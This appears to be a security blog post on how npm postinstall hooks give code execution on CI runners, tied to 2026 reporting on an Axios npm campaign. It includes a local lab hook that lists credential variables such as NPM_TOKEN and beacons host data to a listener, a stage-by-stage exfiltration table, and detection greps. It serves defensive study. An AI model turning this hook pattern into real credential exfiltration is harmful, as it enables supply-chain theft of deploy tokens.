Reading the Axios npm Diff: How a Postinstall Hook Turns Into CI RCE

Reading the Axios npm Diff: How a Postinstall Hook Turns Into CI RCE

pr0h0
npmsupply-chain-securityci-cdjavascriptrce
AI Usage (98%)

A postinstall hook is not a config file. It is a shell prompt you handed to a stranger, and you agreed to run it every time someone types npm install. That framing is not rhetorical — it is literally what npm does. The lifecycle script runs as the same user performing the install, with that user's environment variables, filesystem access, and network egress. In CI, that user usually holds a deploy token.

This post is about reading the Axios npm diff in that light: what the public reporting actually claims, where a postinstall hook fires in the install lifecycle, how a routine dependency install turns into remote code execution on a CI runner, and which lockfile and install-script signals to audit before you merge. My position: lockfile diff review plus install-script suppression is the highest-leverage control you can add this week, and most teams have neither. Provenance, SBOMs, and dashboards all have their place, but they are secondary — none of them stops a malicious tarball from executing during install.

What the public Axios npm reporting actually says — and what it does not

The 2026-09-14 disclosure window

Two items landed in the same disclosure window on 2026-09-14.

Hackread ran a write-up of Trellix research covering DarkSword, JSCeal, and an Axios npm attack campaign, alongside APT28 activity. Separately, Infosecurity Magazine published "Human Attacker Hits Machine-Speed Exploitation of Marimo RCE." Both lean on the same framing: the gap between disclosure and working exploitation is now minutes to hours, not weeks.

I want to stay careful about what I can actually assert. What I have is the headline, publisher, and timestamp for each. The Infosecurity piece describes exploitation of an RCE in Marimo, a Python notebook framework. The Hackread piece is a Trellix research roundup that includes an npm-ecosystem campaign touching Axios. Those are the claims as reported, and no more.

Explicit gaps in the reporting

I am not going to invent the rest. This post does not assert a CVE id, an affected version range, a tarball hash, or a verified indicator of compromise for the Axios item, because the source material available to me does not provide them. Treat the exact Axios payload mechanics as unverified in this post. If you need that detail, go to the Trellix research directly rather than to a secondhand summary — including this one.

That gap is why the rest of this post is a lab walkthrough on a package I built myself. Every command and every line of output below reproduces on your machine, and none of it leans on details I could not confirm.

The npm install lifecycle: where the postinstall hook actually fires

npm lifecycle order for a dependency install

npm's documentation defines the lifecycle order for a dependency install as preinstallinstallpostinstall, with prepare running in related contexts such as git-URL and local-path installs. The ordering is not the interesting part. The execution context is: these scripts run as the user performing the install, inheriting that process's environment, its filesystem permissions, and its network access.

There is no sandbox. There is no permission prompt. If the tarball contains "postinstall": "node hook.js", that file runs.

Why CI runners beat a developer laptop as a target

If I were writing this attack, I would aim at the runner, not the laptop:

  • Longer-lived credentials. A laptop session dies when the lid closes. A CI job holds NPM_TOKEN, cloud OIDC exchange material, or a deploy key for the full duration of the build.
  • Unauthenticated egress. Developer machines are often behind a proxy with some inspection. Runners frequently have open outbound access, because the build needs it.
  • Warmed runner state. Cached toolchains and pre-authenticated CLIs mean the hook does not need to download much.
  • Downstream amplification. The runner signs and publishes artifacts. Poison the build, and you poison everything the build ships.

The escalation path from npm dependency to CI RCE

Stage by stage: from resolution to exfiltration

StageWhat actually happensWhat the attacker gets
ResolutionInstaller reads the lockfile and fetches the tarball from the registryA pinned, integrity-checked archive
ExtractionTarball contents land in node_modules/<pkg>/package.json with a scripts block is now on disk
Lifecycle hooknpm spawns the script via the shell, e.g. node -e ... or node ./hook.jsArbitrary code execution as the install user
Environment harvestScript reads process.envGITHUB_TOKEN, NPM_TOKEN, cloud OIDC request tokens, CI metadata
Exfilfetch/curl POST to an attacker endpointCredentials and host fingerprint
Follow-onOptional commit, tag, or artifact modificationSupply-chain persistence downstream of you

The lockfile caching subtlety

This is where people get it wrong. A clean npm ci with a frozen lockfile still executes lifecycle scripts. What a frozen lockfile guarantees is that the dependency graph matches the lockfile and that each tarball matches its recorded integrity hash. It says nothing about whether that tarball's code is benign — and it does not change the decision to run the scripts.

Put plainly: the integrity hash protects the bytes. It does not protect the decision to execute them. A perfectly valid, unmodified, integrity-matching tarball can be malicious, because the malicious code was published by the maintainer account that legitimately owns the package.

Reading a suspicious package-lock.json diff in practice

Commands to run before merging a dependency bump

I run these on every lockfile diff that changes a hash or adds a script:

git diff -- package-lock.json
npm view <pkg> scripts dist.integrity
npm view <pkg>@<old-version> scripts dist.integrity
npm pack <pkg>@<version>
tar -xzf <pkg>-<version>.tgz && cat package/package.json

That last one matters. Read the tarball's package.json directly instead of trusting the registry's rendered page — the rendered page is a convenience view, and the tarball is the artifact that will run.

Concrete lab reproduction of a postinstall hook

I built a throwaway package to prove the execution path end to end. The hook is deliberately benign: it prints the names of sensitive env vars that are present (never their values) and beacons the runner hostname to a local listener.

lab-postinstall-demo/hook.js
const os = require("node:os");

const NAMES = [
"CI", "GITHUB_ACTIONS", "GITHUB_TOKEN", "NPM_TOKEN",
"NODE_AUTH_TOKEN", "ACTIONS_ID_TOKEN_REQUEST_TOKEN",
"AWS_ROLE_ARN", "VERCEL_OIDC_TOKEN",
];

console.log("[hook] user:", process.env.USER);
console.log("[hook] cwd:", process.cwd());
console.log(
"[hook] sensitive env names present:",
NAMES.filter((n) => process.env[n]).join(", ") || "(none)"
);

fetch("http://127.0.0.1:8787/beacon", {
method: "POST",
headers: { "content-type": "application/json" },
body: JSON.stringify({ host: os.hostname(), user: process.env.USER }),
}).catch(() => {});

The package's only other content is "scripts": { "postinstall": "node ./hook.js" }. I packed it, installed the tarball into a fresh consumer project, put a fake token in the environment, and stood up a local listener in place of an exfil endpoint:

node -e 'require("node:http").createServer((q,r)=>{let b="";q.on("data",c=>b+=c);q.on("end",()=>{console.log(q.method,q.url,b);r.end("ok")})}).listen(8787)'

npm pack ./lab-postinstall-demo
cd /tmp/lab/consumer
GITHUB_ACTIONS=true NPM_TOKEN=fake-not-a-real-token \
  npm install /tmp/lab/lab-postinstall-demo-1.0.0.tgz

Observed output:

> [email protected] postinstall
> node ./hook.js

[hook] user: dev
[hook] cwd: /tmp/lab/consumer/node_modules/lab-postinstall-demo
[hook] sensitive env names present: CI, GITHUB_ACTIONS, NPM_TOKEN
added 1 package, and audited 2 packages in 388ms

And the listener received the beacon:

POST /beacon {"host":"runner-7f3c","user":"dev"}

The script ran before npm install printed success, with the consumer's environment, from inside node_modules. Re-running the same install with npm ci --ignore-scripts produced no postinstall line and no request at the listener.

Sub-signals worth grepping for

tar -xzOf pkg-1.2.4.tgz package/package.json | grep -E '"(pre|post)?install|prepare"'
tar -tzf pkg-1.2.4.tgz | grep -v '^package/.*\.\(js\|json\|md\)$'

Things that should stop a merge:

  • a new runtime dependency appearing in a patch release
  • preinstall, postinstall, or prepare added to a package that never had scripts
  • a one-line script containing a long base64 string or Buffer.from(...)
  • a script that curls or fetches a second-stage URL

Signals to audit first, in priority order

Ranked signals

#SignalWhy it ranks here
1Lockfile integrity hash changes without a version changeCheap to detect, hard to justify legitimately
2Install-script flag flips on for a package already in your treeTurns a passive dep into an execution primitive
3Publish metadata changes on a low-traffic maintainer accountClassic account-takeover tell
4git-URL or tarball dependenciesBypass registry integrity entirely
5Unpinned GitHub Actions in a job holding deploy credentialsSame class of bug, different surface

Which signal I would make a hard CI failure

Of the five, the one I would wire into CI as a hard failure is #1: an integrity hash that changes without a version change. It is trivial to diff, it needs no threat-intelligence feed, and it catches the widest class of tampering — retagged releases, registry-side substitution, and lockfile merges that quietly resolved to a different artifact. Alerting on it is cheap. Alerting on "maintainer posted at an odd hour" is not, and the signal-to-noise ratio is far worse.

Start with a git diff-based gate in the pipeline, not with a dashboard.

Defenses that reduce blast radius — and their limits

Mitigations with concrete npm and pnpm config

## project .npmrc
ignore-scripts=true
npm ci --ignore-scripts

For pnpm, current major versions block dependency build scripts by default and require an explicit allowlist (the onlyBuiltDependencies setting) before a package's scripts will run. Keep --frozen-lockfile enforced in CI, and where you still need NPM_TOKEN, replace it with OIDC trusted publishing so there is no long-lived publish credential to steal. Provenance attestation tells you which workflow produced a publish.

What each control does and does not stop

ControlStopsDoes not stop
--ignore-scriptsLifecycle-based executionMalicious code reached via normal require/import at runtime
--ignore-scripts (side effect)Packages that legitimately compile native modules at install
Frozen lockfileGraph and byte substitutionA valid tarball that is malicious by design
Provenance attestationForged publish originA later maintainer publishing with intent to attack
Least-privilege CI tokensExfil valueThe code executing in the first place
Egress allowlistingOutbound exfil and second-stage fetchLocal persistence and in-job lateral movement

Read that table honestly: script suppression is the only control there that removes the execution primitive. Everything else shrinks the payoff.

What I confirmed, what I did not test, and what I would fix first

Confirmed

The lifecycle order and script execution behavior above are things I reproduced in the local lab: the postinstall script ran as the install user, inherited the environment, and made an outbound request before install completed. The reporting details come from Hackread (Trellix research, DarkSword/JSCeal/Axios) and Infosecurity Magazine (Marimo RCE), both published 2026-09-14.

Not tested

I did not inspect any specific Axios tarball. I do not know the payload used in that campaign, its delivery version, or any hash. I did not touch the Marimo exploit chain at all. All of that needs primary-source confirmation from the original research, not from a summary.

Closing opinion

Treat dependency installation as an untrusted execution boundary, not a read-only fetch. That single reframe changes what you build: you gate lockfile integrity changes, you turn scripts off by default and allowlist what genuinely needs them, and you stop treating a green CI badge as evidence the build was safe. Buying another dashboard does none of that.

Further Reading

Share this post

More posts

Comments